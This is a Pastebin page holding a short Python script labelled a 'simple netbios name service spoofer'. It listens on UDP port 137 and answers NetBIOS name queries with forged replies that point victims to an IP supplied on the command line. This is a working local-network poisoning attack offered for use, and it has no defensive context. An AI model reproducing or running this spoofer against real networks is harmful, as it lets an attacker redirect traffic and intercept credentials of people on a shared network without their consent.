Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##Simple netbios name service spoofer.
- import sys, SocketServer
- from socket import inet_aton
- if len(sys.argv)<=1:
- sys.exit('Give me an IP')
- #NBNS SPOOF;
- answer = [chr(int(a, 16)) for a in """
- 08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
- 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
- 41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
- 00 01 00 04 93 e0 00 06 00 00""".split()]
- def nametid(data,packet):
- pack = packet[:]
- pack[0:2]=data[0:2]##Transaction ID
- pack[12:48]=data[12:48]##Netbios name
- return pack
- class NBS(SocketServer.BaseRequestHandler):
- def server_bind(self):
- self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
- self.socket.bind(self.server_address)
- def handle(self):
- request, socket = self.request
- print "From:", self.client_address
- ## waiting for query ..
- if request[2:4] == "\x01\x10":
- buffer0 = ''.join(nametid(request,answer))+inet_aton(str(sys.argv[1]))
- socket.sendto(buffer0, self.client_address)
- print "Fake Response sended\n"
- launch = SocketServer.UDPServer(('', 137),NBS)
- launch.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement